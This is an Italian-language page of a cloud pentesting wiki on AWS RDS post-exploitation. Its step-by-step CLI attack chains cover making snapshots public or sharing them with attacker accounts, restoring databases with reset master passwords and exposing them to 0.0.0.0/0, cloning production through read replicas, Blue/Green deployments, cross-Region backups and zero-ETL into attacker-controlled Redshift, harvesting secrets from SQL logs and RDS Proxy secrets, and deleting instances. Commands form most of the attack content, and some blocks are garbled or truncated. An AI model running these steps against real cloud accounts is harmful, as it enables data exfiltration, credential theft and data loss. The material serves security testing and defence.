Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md

30 KiB
Raw Blame History

AWS - RDS Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

RDS

Per maggiori informazioni consulta:

{{#ref}} ../aws-services/aws-relational-database-rds-enum.md {{#endref}}

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Se un attaccante ha permessi sufficienti, potrebbe rendere un DB accessibile pubblicamente creando uno snapshot del DB e poi creando un DB accessibile pubblicamente dallo snapshot.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Un attaccante con queste autorizzazioni potrebbe creare uno snapshot di un DB e renderlo disponibile pubblicamente. Poi, potrebbe semplicemente creare nel suo account un DB da quel snapshot.

Se l'attaccante non ha rds:CreateDBSnapshot, potrebbe comunque rendere altri snapshot creati pubblici.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

Un attaccante con il permesso rds:DownloadDBLogFilePortion può scaricare porzioni dei file di log di un'istanza RDS. Se vengono accidentalmente registrati dati sensibili o credenziali di accesso, l'attaccante potrebbe utilizzare queste informazioni per ottenere privilegi più elevati o compiere azioni non autorizzate.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Impatto potenziale: Accesso a informazioni sensibili o azioni non autorizzate usando credenziali leaked.

rds:DeleteDBInstance

Un attaccante con queste autorizzazioni può DoS le istanze RDS esistenti.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Impatto potenziale: Eliminazione delle istanze RDS esistenti e possibile perdita di dati.

rds:StartExportTask

Note

TODO: Da testare

Un attaccante con questa autorizzazione può esportare uno snapshot di un'istanza RDS in un bucket S3. Se l'attaccante ha il controllo del bucket S3 di destinazione, può potenzialmente accedere a dati sensibili contenuti nello snapshot esportato.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Potenziale impatto: Accesso a dati sensibili nello snapshot esportato.

Replicazione cross-Region dei backup automatici per un ripristino furtivo (rds:StartDBInstanceAutomatedBackupsReplication)

Abusare della replica cross-Region dei backup automatici per duplicare silenziosamente i backup automatici di un'istanza RDS in un'altra AWS Regione e ripristinarli lì. L'attaccante può quindi rendere il DB ripristinato accessibile pubblicamente e reimpostare la password master per accedere ai dati out-of-band in una Regione che i difensori potrebbero non monitorare.

Permessi necessari (minimi):

  • rds:StartDBInstanceAutomatedBackupsReplication nella Regione di destinazione
  • rds:DescribeDBInstanceAutomatedBackups nella Regione di destinazione
  • rds:RestoreDBInstanceToPointInTime nella Regione di destinazione
  • rds:ModifyDBInstance nella Regione di destinazione
  • rds:StopDBInstanceAutomatedBackupsReplication (pulizia opzionale)
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (per esporre il DB ripristinato)

Impatto: Persistenza ed esfiltrazione di dati ripristinando una copia dei dati di produzione in un'altra Regione ed esponendoli pubblicamente con credenziali controllate dall'attaccante.

CLI end-to-end (sostituire i segnaposto) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ --region \ --query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \ --output table

2) Start cross-Region automated backups replication (run in DEST region B)

aws rds start-db-instance-automated-backups-replication
--region <DEST_REGION>
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
--source-region <SOURCE_REGION>
--backup-retention-period 7

3) Wait for replication to be ready in DEST

aws rds describe-db-instance-automated-backups
--region <DEST_REGION>
--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]'
--output table

Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn

4) Restore to latest restorable time in DEST

aws rds restore-db-instance-to-point-in-time
--region <DEST_REGION>
--source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN>
--target-db-instance-identifier <TARGET_DB_ID>
--use-latest-restorable-time
--db-instance-class db.t3.micro aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

5) Make public and reset credentials in DEST

5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)

OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION>
--group-name open-rds- --description open --vpc-id <DEST_VPC_ID>
--query GroupId --output text) aws ec2 authorize-security-group-ingress --region <DEST_REGION>
--group-id "$OPEN_SG_ID"
--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'

5b) Publicly expose restored DB and attach the SG

aws rds modify-db-instance --region <DEST_REGION>
--db-instance-identifier <TARGET_DB_ID>
--publicly-accessible
--vpc-security-group-ids "$OPEN_SG_ID"
--apply-immediately aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

5c) Reset the master password

aws rds modify-db-instance --region <DEST_REGION>
--db-instance-identifier <TARGET_DB_ID>
--master-user-password '<NEW_STRONG_PASSWORD>'
--apply-immediately aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>

6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)

ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION>
--db-instance-identifier <TARGET_DB_ID>
--query 'DBInstances[0].Endpoint.Address' --output text) mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'

7) Optional: stop replication

aws rds stop-db-instance-automated-backups-replication
--region <DEST_REGION>
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>

</details>


### Abilitare il logging SQL completo tramite DB parameter groups ed esfiltrare tramite RDS log APIs

Abusa di `rds:ModifyDBParameterGroup` insieme alle RDS log download APIs per catturare tutte le istruzioni SQL eseguite dalle applicazioni (non servono credenziali del DB engine). Abilita il logging SQL del motore e scarica i file di log tramite `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (o la REST `downloadCompleteLogFile`). Utile per raccogliere query che possono contenere secrets/PII/JWTs.

Permessi necessari (minimo):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (solo per associare un custom parameter group se l'istanza usa quello di default)
- `rds:RebootDBInstance` (per parametri che richiedono reboot, es. PostgreSQL)

Passaggi
1) Recon target e parameter group corrente
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
  1. Assicurarsi che sia associato un gruppo di parametri DB personalizzato (non è possibile modificare quello predefinito)
  • Se l'istanza usa già un gruppo personalizzato, riutilizzarne il nome nel passo successivo.
  • Altrimenti creare e associare uno corrispondente alla famiglia del motore:
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"

aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
  1. Abilitare la registrazione SQL dettagliata
  • Motori MySQL (immediato / nessun riavvio):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
#   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
#   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
  • Motori PostgreSQL (reboot required):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
#   "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"

# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
  1. Lascia eseguire il workload (o genera query). Le istruzioni verranno scritte nei file di log del motore
  • MySQL: general/mysql-general.log
  • PostgreSQL: postgresql.log
  1. Individua e scarica i log (non sono richieste credenziali DB)
aws rds describe-db-log-files --db-instance-identifier <DB>

# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
  1. Analizzare offline i dati sensibili
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head

Esempio di evidenza (oscurata):

2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')

Pulizia

  • Ripristinare i parametri ai valori predefiniti e riavviare se necessario:
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"

# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot

Impatto: accesso ai dati in post-exploitation catturando tutte le istruzioni SQL dell'applicazione tramite AWS APIs (no DB creds), potenzialmente leaking secrets, JWTs, e PII.

rds:CreateDBInstanceReadReplica, rds:ModifyDBInstance

Abusa delle RDS read replicas per ottenere accesso in lettura out-of-band senza toccare le credenziali dell'istanza primaria. Un attacker può creare una read replica da un'istanza di produzione, resettare la master password della replica (questo non modifica la primaria), e opzionalmente esporre la replica pubblicamente per esfiltrare dati.

Permessi necessari (minimo):

  • rds:DescribeDBInstances
  • rds:CreateDBInstanceReadReplica
  • rds:ModifyDBInstance
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (if exposing publicly)

Impatto: accesso in sola lettura ai dati di produzione tramite una replica con credenziali controllate dall'attacker; minore probabilità di rilevamento poiché la primaria rimane intatta e la replicazione continua.

# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table

# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'

# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client:  mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'

# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>

Esempio di evidenza (MySQL):

  • Stato DB replica: available, replicazione in sola lettura: replicating
  • Connessione riuscita con la nuova password e @@read_only=1 che conferma l'accesso alla replica in sola lettura.

rds:CreateBlueGreenDeployment, rds:ModifyDBInstance

Abusa di RDS Blue/Green per clonare un DB di produzione in un ambiente green continuamente replicato e in sola lettura. Poi reimposta le credenziali del master green per accedere ai dati senza toccare l'istanza blue (prod). Questo è più furtivo rispetto alla condivisione degli snapshot e spesso bypassa i sistemi di monitoraggio focalizzati solo sulla sorgente.

# 1) Recon  find eligible source (nonAurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'

# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version

# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>

# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'

# Typical green id: <blue>-green-XXXX

# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately

# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately

# 4) Connect to the green endpoint and query/exfiltrate (green is readonly)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text

# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'

# 5) Cleanup  remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true

Impatto: Accesso in sola lettura ma completo a una copia quasi in tempo reale della produzione senza modificare l'istanza di produzione. Utile per l'estrazione furtiva dei dati e l'analisi offline.

SQL fuori banda via RDS Data API abilitando l'endpoint HTTP + reimpostando la master password

Abusa di Aurora per abilitare l'endpoint HTTP del RDS Data API su un cluster target, reimpostare la master password con un valore che controlli ed eseguire SQL su HTTPS (non è richiesto un percorso di rete VPC). Funziona sui motori Aurora che supportano il Data API/EnableHttpEndpoint (es., Aurora MySQL 8.0 provisioned; alcune versioni di Aurora PostgreSQL/MySQL).

Permissions (minimum):

  • rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
  • secretsmanager:CreateSecret
  • rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)

Impatto: Elude la segmentazione di rete ed esfiltra dati tramite le API AWS senza connettività VPC diretta al DB.

Esempio CLI end-to-end (Aurora MySQL) ```bash # 1) Identify target cluster ARN REGION=us-east-1 CLUSTER_ID= CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \ --db-cluster-identifier $CLUSTER_ID \ --query 'DBClusters[0].DBClusterArn' --output text)

2) Enable Data API HTTP endpoint on the cluster

Either of the following (depending on API/engine support):

aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN"

or

aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID
--enable-http-endpoint --apply-immediately

Wait until HttpEndpointEnabled is True

aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID
--query 'DBClusters[0].HttpEndpointEnabled' --output text

3) Reset master password to attacker-controlled value

aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID
--master-user-password 'Sup3rStr0ng!1' --apply-immediately

Wait until pending password change is applied

while :; do aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID
--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text) && break sleep 10 done

4) Create a Secrets Manager secret for Data API auth

SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID
--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}'
--query ARN --output text)

5) Prove out-of-band SQL via HTTPS using rds-data

(Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)

aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN"
--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;" aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN"
--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);" aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN"
--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');" aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN"
--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;"
--format-records-as JSON

</details>

Note:
- Se SQL con più istruzioni viene rifiutato da rds-data, inviare chiamate execute-statement separate.
- Per gli engine in cui modify-db-cluster --enable-http-endpoint non ha effetto, usare rds enable-http-endpoint --resource-arn.
- Assicurarsi che l'engine/versione supporti effettivamente la Data API; altrimenti HttpEndpointEnabled resterà False.


### Raccogliere le credenziali DB tramite i secret di autenticazione di RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)

Abusare della configurazione di RDS Proxy per individuare il secret di Secrets Manager usato per l'autenticazione del backend, quindi leggere il secret per ottenere le credenziali del database. Molti ambienti concedono ampi permessi `secretsmanager:GetSecretValue`, rendendo questo un pivot a basso attrito verso le credenziali DB. Se il secret usa una CMK, permessi KMS mal delimitati possono anche consentire `kms:Decrypt`.

Permessi necessari (minimi):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` sul SecretArn referenziato
- Opzionale se il secret utilizza una CMK: `kms:Decrypt` su quella chiave

Impact: Divulgazione immediata del DB username/password configurato sul proxy; consente accesso diretto al DB o ulteriore lateral movement.

Passaggi
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table

# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}

Laboratorio (minimo per riprodurre)

REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above

Pulizia (lab)

aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery

Esfiltrazione continua stealthy via Aurora zeroETL verso Amazon Redshift (rds:CreateIntegration)

Abusa dell'integrazione Aurora PostgreSQL zeroETL per replicare continuamente i dati di produzione in un namespace Redshift Serverless che controlli. Con una resource policy Redshift permissiva che autorizza CreateInboundIntegration/AuthorizeInboundIntegration per uno specifico ARN del cluster Aurora, an attacker può stabilire una copia dei dati quasi in tempo reale senza DB creds, snapshots o esposizione di rete.

Permessi necessari (minimi):

  • rds:CreateIntegration, rds:DescribeIntegrations, rds:DeleteIntegration
  • redshift:PutResourcePolicy, redshift:DescribeInboundIntegrations, redshift:DescribeIntegrations
  • redshift-data:ExecuteStatement/GetStatementResult/ListDatabases (to query)
  • rds-data:ExecuteStatement (optional; to seed data if needed)

Testato su: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.

1) Create Redshift Serverless namespace + workgroup ```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ --admin-username adminuser --admin-user-password 'AdminPwd-1!' \ --query namespace.namespaceArn --output text) RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ --namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ --query workgroup.workgroupArn --output text) # Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ --config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true ```
2) Configura la resource policy di Redshift per consentire la sorgente Aurora ```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= cat > rs-rp.json <
3) Crea cluster Aurora PostgreSQL (abilita Data API e replica logica) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --engine aurora-postgresql --engine-version 16.4 \ --master-username postgres --master-user-password 'InitPwd-1!' \ --enable-http-endpoint --no-deletion-protection --backup-retention-period 1 aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID # Serverless v2 instance aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ --db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 # Cluster parameter group for zeroETL aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ --db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) ```
4) Crea l'integrazione zeroETL da RDS ```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ --target-arn "$RS_NS_ARN" --integration-name ztl-demo \ --data-filter 'include: postgres.*.*' # Redshift inbound integration should become ACTIVE aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" ```
5) Materializzare e interrogare dati replicati in Redshift ```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "select integration_id from svv_integration" # take the GUID value aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "create database ztl_db from integration '' database postgres" # List tables replicated aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \ --sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;" ```

Evidenze osservate nel test:

  • redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
  • SVV_INTEGRATION ha mostrato integration_id 377a462b-c42c-4f08-937b-77fe75d98211 e state PendingDbConnectState prima della creazione del DB.
  • Dopo CREATE DATABASE FROM INTEGRATION, l'elenco delle tabelle ha rivelato lo schema ztl e la tabella customers; la SELECT su ztl.customers ha restituito 2 righe (Alice, Bob).

Impatto: Exfiltration continua quasi in tempo reale di tabelle selezionate di Aurora PostgreSQL in Redshift Serverless controllato dall'attaccante, senza usare credenziali del database, backup o accesso di rete al cluster sorgente.

{{#include ../../../banners/hacktricks-training.md}}